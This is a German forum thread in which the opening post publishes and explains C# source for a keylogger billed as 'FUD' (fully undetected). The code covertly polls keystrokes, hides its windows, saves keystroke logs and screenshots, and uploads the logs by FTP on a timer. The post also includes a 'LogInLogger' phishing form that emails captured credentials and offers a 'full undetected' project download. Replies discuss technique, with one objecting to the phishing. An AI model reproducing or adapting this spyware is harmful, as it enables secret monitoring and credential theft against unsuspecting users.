KeyloggerExample 2011/2012 Fud

High alle miteinander,

viele fragen sich wie so ein Keylogger aufgebaut ist , wie der funktioniert.

kein Problem ich habe mal einen KeyloggerExample in C# mal für mich geschrieben , dass ich heute mal veröffentliche und erkläre.


zuerst mal:

1.Wichtig ist es in der Class Form die DLL imports in User32 einzutragen, Ihr braucht definitiv keybuffer der keyhooks.



Code:
 public partial class Form1 : Form
    {
       //dll imports
         [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Key Emulation

    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(System.Int32 vKey);


    string keyBuffer = "";


       
        public Form1()
        {

            InitializeComponent();
        }

            
            
        }

        }

2. Ihr braucht einen Timer wo die GetAsynckeystate aufgeführt wird die auch den Intervall und keybuffer verwendet , keybuffer werden einzeln aufgelistet da alles keys eingetragen werden müssen. gespeichert werden die Keylogdaten auf einer Textdatei


Code:
 private void timer1_Tick(object sender, EventArgs e)
        {
            
        timer1.Interval = 3;
        foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
        {
            int x = GetAsyncKeyState(i);
            if ((x == 1) || (x == -32767))
            {
                keyBuffer += Enum.GetName(typeof(Keys), i) + " ";// sind die WinApi keys (für keybuffer) 
            }
        }
        if (keyBuffer != "")
        {
            //Wichtig  Keybuffer , wichtig keyhooks 
            //Zeichen
            keyBuffer = keyBuffer.Replace("Space", "_");
            keyBuffer = keyBuffer.Replace("Delete", "_Del_");
            keyBuffer = keyBuffer.Replace("LShiftKey", "_SHIFT_");
            keyBuffer = keyBuffer.Replace("ShiftKey", "");
            keyBuffer = keyBuffer.Replace("OemQuotes", "!");
            keyBuffer = keyBuffer.Replace("Oemcomma", "?");
            keyBuffer = keyBuffer.Replace("D8", "á");
            keyBuffer = keyBuffer.Replace("D2", "ě");
            keyBuffer = keyBuffer.Replace("D3", "š");
            keyBuffer = keyBuffer.Replace("D4", "č");
            keyBuffer = keyBuffer.Replace("D5", "ř");
            keyBuffer = keyBuffer.Replace("D6", "ž");
            keyBuffer = keyBuffer.Replace("D7", "ý");
            keyBuffer = keyBuffer.Replace("D9", "í");
            keyBuffer = keyBuffer.Replace("D0", "é");
            //Grossbuchtaben
            keyBuffer = keyBuffer.Replace("capslocka", "A");
            keyBuffer = keyBuffer.Replace("_shift_a", "A");
            // Zeichen
            keyBuffer = keyBuffer.Replace("menulmenu_ctrl_é", "}");
            keyBuffer = keyBuffer.Replace("menulmenu_ctrl_á", "[");
            keyBuffer = keyBuffer.Replace("menulmenu_ctrl_í", "]");
            keyBuffer = keyBuffer.Replace("Back", "<==");
            keyBuffer = keyBuffer.Replace("LButton", "");
            keyBuffer = keyBuffer.Replace("RButton", "");
            keyBuffer = keyBuffer.Replace("NumPad", "");
            keyBuffer = keyBuffer.Replace("OemPeriod", ".");
            keyBuffer = keyBuffer.Replace("OedpmSemicolon", "ü");
            keyBuffer = keyBuffer.Replace("Oem4", "/");
            keyBuffer = keyBuffer.Replace("LControlKey", "");
            keyBuffer = keyBuffer.Replace("ControlKey", "_CTRL_");
            keyBuffer = keyBuffer.Replace("Enter", "");
            keyBuffer = keyBuffer.Replace("Shift", "____SHIFT___");
            keyBuffer = keyBuffer.ToLower();
            keyBuffer = keyBuffer.Replace(" ", "");
            keyBuffer = keyBuffer.Replace("_shift_.",":");
            keyBuffer = keyBuffer.Replace("!","ä");
            keyBuffer = keyBuffer.Replace("oemtilde", "ö");
            keyBuffer = keyBuffer.Replace("_ctrl_menulmenuq", "@");
            keyBuffer = keyBuffer.Replace("oem2","#");
            keyBuffer = keyBuffer.Replace("oemplus", "+");
            keyBuffer = keyBuffer.Replace("oempipe", "^");
            keyBuffer = keyBuffer.Replace("oempipeoempipe", "^^");
            keyBuffer = keyBuffer.Replace("_shift_oempipe","°");
            //Keybuffer Wiedergabe in Textbox1.text 
            textBox1.Text = keyBuffer;

            // Abspeicherung ein  Textdatei
            string ausl = textBox1.Text;
            File.WriteAllText(@"D:\KeyLog.txt", ausl);

Form_load()

Ich glaub da ist nicht viel zu sagen

Code:
  new LogInLogger().Show();
            new Features1().Show();
            this.WindowState = FormWindowState.Minimized;
          
            Hide();
            
            

Da ist es wichtig den Versand der Textdatei zu versenden , ich verwende dafür FTP ,es ist jedem selbst überlassen man kann auch dessen Mail Versand nutzen
Wichtig ist die Timer Instanz 

[CODE] private void button1_Click(object sender, EventArgs e)
        {
            // wird die Datei zu deinem FTP Acc Versand!
            WebClient wc = new WebClient();
            wc.Credentials = new NetworkCredential("User", "Pass");
            wc.UploadFile("ftp://192.168.0.21/Umschreib.txt", Application.StartupPath + @"\deineDatei.txt");
            wc.Dispose();

            /* verwende MessageBox um sicher zu gehn das die datei versand worden ist
             * MessageBox.Show(" datei versendet")
              */

Timer 2 :

Code:
private void timer2_Tick(object sender, EventArgs e)
        {
            // Führt FTP aus , führe stehts bei verwendung den Timer auf True / Intervall bitte nicht 100!! /läuft gut bei 300000 
            button1_Click(sender, e);


soweit verstanden ? ok !

Ich hab noch ein paar Featueres : Logginlogger (password Grabber Phishing )

Funktion geht über System.Net.Mail ist eigentlich ganz simpel und einfach zu verstehen.

logginlogger.jpg


Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
namespace Keylogger_example
{
                                               // Acc Phishing Hack @t Mail + Ftp das ist euch überlassen 
    public partial class LogInLogger : Form
    {
        public LogInLogger() 
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
           
            
            // erstellt Mailmessage und smpt client
           MailMessage message = new MailMessage();
            SmtpClient smpt = new SmtpClient();

            // Mailvorgang/Versand
            message.From = new MailAddress("Deine Mailadresse");
            message.To.Add(new MailAddress("E-mail"));
            message.Subject = this.textBox1.Text ;
            message.Body = this.textBox2.Text ;

            //SMPT Host und Port / user/ Passwort
          smpt.Host = "smtp.server.info";
          smpt.Port = 000; // Verwende für deinen smtp den richtigen port zB.587 oder 0x19 
           smpt.Credentials = new System.Net.NetworkCredential("Deine Mailadresse", "Passwort");
           smpt.EnableSsl = true; // Die Runtime entschlüsselt die SMTP Komunikation
           smpt.Send(message);














 
        }


        public object m { get; set; }

        private void LogInLogger_Load(object sender, EventArgs e)
        {

        }
    }
}

3. Screencapture(s)

In dieser Application wird die Screencapture gezeigt wie sie erstellt wird und über FTP oder wahlweise Mail abgespeichert und versendet wird

Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Drawing.Imaging;

namespace Keylogger_example // simple anwendung Screencapture 
{
    public partial class Features1 : Form
    {
        public object sceencapture(int locX, int locY, int width, int height)
        {
            // zur Bilderstellung 
            Bitmap newImage = new Bitmap(width, height);
            using (Graphics g = Graphics.FromImage(newImage))
            {
                g.CopyFromScreen(this.Bounds.X, this.Bounds.Y, 0, 0, newImage.Size);// Die Bilderstellung von Windowscreen
            }
            return newImage;
        }
        public Features1()
        {
            InitializeComponent();
        }

        private void Features1_Load(object sender, EventArgs e)
        {
            //wichtig denn in der Funktion Eigenschaften wird das bild nicht übernommen
            this.Opacity = 0.0;
            this.ShowInTaskbar = false;
            this.Hide();
            this.WindowState = FormWindowState.Minimized;

        }

        private void button1_Click(object sender, EventArgs e)
        {
          
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
            
            // Bilderstellung duch Primäre Bilderstellung von Bitmap / Picturebox = Bilderstellung von Winddows in einen screenshot
            Rectangle bounds = Screen.PrimaryScreen.Bounds;
            Bitmap sceenshot = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
            Graphics.FromImage(sceenshot).CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy);
            this.pictureBox1.Image = sceenshot; 

            // Erstellt das Bild auf D:
            ((Bitmap)this.sceencapture(this.pictureBox1.Location.X, this.pictureBox1.Location.Y, this.pictureBox1.Width, this.pictureBox1.Height)).Save(@"D:\DeinBild.bmp", ImageFormat.Bmp);

        }
        }
    }

Projekt Download (Full undetected ) Version
 
Wenn ich das richtig sehe läuft dieser KL ohne Global Hook, gäbe es irgend einen Vorteil es mit Hook zu machen, ausser dass man auch die richtigen Werte bei 2 Tastaturanschlägen in unter 3 Millisekunden herausbekommt?
 
Erstmal, ich denke nicht das ein derartiges "Projekt" hier gerne gesehen wird, besonders da hier einige male das Wort "Phishing" erwähnt wird. Dazu ist die Methode absolut umständlich und in VisualBasic in unter 5 Minuten und mit 100mal weniger Auwand zu realisieren!
 
Bitte nutzt den Melden-Button, wenn ihr der Meinung seid, dass ein Thread unpassend ist. Reicht ja, wenn die Mods rummeckern. ;) Außerdem bleibt so die Entscheidung ob ein Thread unpassend ist beim Team.
 
Ich liebe solche Logger. Jeder, der die Binary hat, kann ohne viele Umwege an allen Keylogs teilhaben, weil dieser Username und Passwort zum FTP großzügig mitliefert. :D
Oder besser: Der Entdecker löscht die Logs periodisch und der Verbreiter des Keyloggers muss das Passwort zum FTP ändern, was widerum alle bis dahin verbreiteten Keylogger entschärft.
 
Ja diese kostenlosen FTP (Wenn man Glück hat auch Mail Zugangsdaten )Daten gibt es leider nur bei den mies gemachten loggern die als 1337 haxxing Tools unter YouTube Videos angeboten werden.Die builder dieser Keylogger haben bei VT merkwürdigerweise 40/47 was die uploader damit begründen das man damit Viren baut.Aber ich schweife ab...

Danke für den Code.Der beste logger den ich Auf die Reihe bekommen habe war ein kleiner hotkey basierter der 20 Prozent CPU verbraucht hat sobald ich angefangen habe zu tippen.Ich versuche nachher mal einen besseren zu machen.
 
Zuletzt bearbeitet:
Zurück
Oben